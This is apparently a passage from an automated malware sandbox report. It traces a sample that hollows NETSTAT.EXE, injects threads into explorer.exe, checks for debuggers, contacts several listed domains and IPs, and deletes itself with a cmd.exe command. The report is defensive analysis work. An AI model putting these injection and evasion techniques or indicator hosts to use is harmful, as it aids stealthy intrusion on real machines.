            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D7A70E mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D7A70E mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D7E730 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E1070D mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E1070D mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D44F2E mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D44F2E mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E0131B mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DDB8D0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DDB8D0 mov ecx, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DDB8D0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DDB8D0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DDB8D0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DDB8D0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E014FB mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DC6CF0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DC6CF0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DC6CF0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E18CD6 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D5849B mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D49080 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DC3884 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DC3884 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D7F0BF mov ecx, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D7F0BF mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D7F0BF mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D890AF mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D60050 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D60050 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DDC450 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DDC450 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E02073 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E11074 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D7A44B mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D6746D mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DC7016 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DC7016 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DC7016 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DC6C0A mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DC6C0A mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DC6C0A mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DC6C0A mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E01C06 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E01C06 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E01C06 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E01C06 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E01C06 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E01C06 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E01C06 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E01C06 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E01C06 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E01C06 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E01C06 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E01C06 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E01C06 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E01C06 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E1740D mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E1740D mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E1740D mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E14015 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E14015 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D7BC2C mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D5B02A mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D5B02A mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D5B02A mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D5B02A mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DF8DF1 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D4B1E1 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D4B1E1 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D4B1E1 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DD41E8 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D5D5E0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D5D5E0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D7FD9B mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D7FD9B mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D7A185 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D6C182 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D42D8A mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D42D8A mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D42D8A mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D42D8A mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D42D8A mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D71DB5 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D71DB5 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D71DB5 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D735A1 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D761A0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D761A0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D67D50 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D6B944 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D6B944 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D83D43 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DC3540 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D6C577 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D6C577 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D4B171 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D4B171 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D4C962 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D49100 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D49100 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D49100 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02E18D34 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D53D34 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D53D34 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D53D34 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D53D34 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D53D34 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D53D34 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D53D34 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D53D34 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D53D34 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D53D34 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D53D34 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D53D34 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D53D34 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D4AD30 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02DCA537 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D74D3B mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D74D3B mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D74D3B mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D7513A mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D7513A mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D64120 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D64120 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D64120 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D64120 mov eax, dword ptr fs:[00000030h]
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D64120 mov ecx, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess queried: DebugPort
            Source: C:\Windows\SysWOW64\NETSTAT.EXEProcess queried: DebugPort
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_00409B30 LdrLoadDll,
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeMemory allocated: page read and write | page guard

            HIPS / PFW / Operating System Protection Evasion:

            barindex
            System process connects to network (likely due to code injection or exploit)Show sources
            Source: C:\Windows\explorer.exeDomain query: www.instatechnovelz.com
            Source: C:\Windows\explorer.exeNetwork Connect: 172.65.227.72 80
            Source: C:\Windows\explorer.exeDomain query: www.apricitee.com
            Source: C:\Windows\explorer.exeDomain query: www.shacksolid.com
            Source: C:\Windows\explorer.exeNetwork Connect: 64.190.62.111 80
            Source: C:\Windows\explorer.exeDomain query: www.brondairy.com
            Sample uses process hollowing techniqueShow sources
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeSection unmapped: C:\Windows\SysWOW64\NETSTAT.EXE base address: B70000
            Maps a DLL or memory area into another processShow sources
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeSection loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeSection loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeSection loaded: unknown target: C:\Windows\SysWOW64\NETSTAT.EXE protection: execute and read and write
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeSection loaded: unknown target: C:\Windows\SysWOW64\NETSTAT.EXE protection: execute and read and write
            Source: C:\Windows\SysWOW64\NETSTAT.EXESection loaded: unknown target: C:\Windows\explorer.exe protection: read write
            Source: C:\Windows\SysWOW64\NETSTAT.EXESection loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
            Queues an APC in another process (thread injection)Show sources
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeThread APC queued: target process: C:\Windows\explorer.exe
            Modifies the context of a thread in another process (thread injection)Show sources
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeThread register set: target process: 3472
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeThread register set: target process: 3472
            Source: C:\Windows\SysWOW64\NETSTAT.EXEThread register set: target process: 3472
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess created: C:\Users\user\Desktop\Fu94e0b1TR.exe C:\Users\user\Desktop\Fu94e0b1TR.exe
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess created: C:\Users\user\Desktop\Fu94e0b1TR.exe C:\Users\user\Desktop\Fu94e0b1TR.exe
            Source: C:\Windows\SysWOW64\NETSTAT.EXEProcess created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\Fu94e0b1TR.exe'
            Source: explorer.exe, 00000007.00000000.322048505.0000000001640000.00000002.00020000.sdmp, NETSTAT.EXE, 00000012.00000002.518694763.0000000005340000.00000002.00020000.sdmpBinary or memory string: Shell_TrayWnd
            Source: explorer.exe, 00000007.00000000.322048505.0000000001640000.00000002.00020000.sdmp, NETSTAT.EXE, 00000012.00000002.518694763.0000000005340000.00000002.00020000.sdmpBinary or memory string: Progman
            Source: explorer.exe, 00000007.00000000.322048505.0000000001640000.00000002.00020000.sdmp, NETSTAT.EXE, 00000012.00000002.518694763.0000000005340000.00000002.00020000.sdmpBinary or memory string: SProgram Managerl
            Source: explorer.exe, 00000007.00000000.277343079.0000000001128000.00000004.00000020.sdmpBinary or memory string: ProgmanOMEa
            Source: explorer.exe, 00000007.00000000.322048505.0000000001640000.00000002.00020000.sdmp, NETSTAT.EXE, 00000012.00000002.518694763.0000000005340000.00000002.00020000.sdmpBinary or memory string: Shell_TrayWnd,
            Source: explorer.exe, 00000007.00000000.322048505.0000000001640000.00000002.00020000.sdmp, NETSTAT.EXE, 00000012.00000002.518694763.0000000005340000.00000002.00020000.sdmpBinary or memory string: Progmanlock
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Users\user\Desktop\Fu94e0b1TR.exe VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation
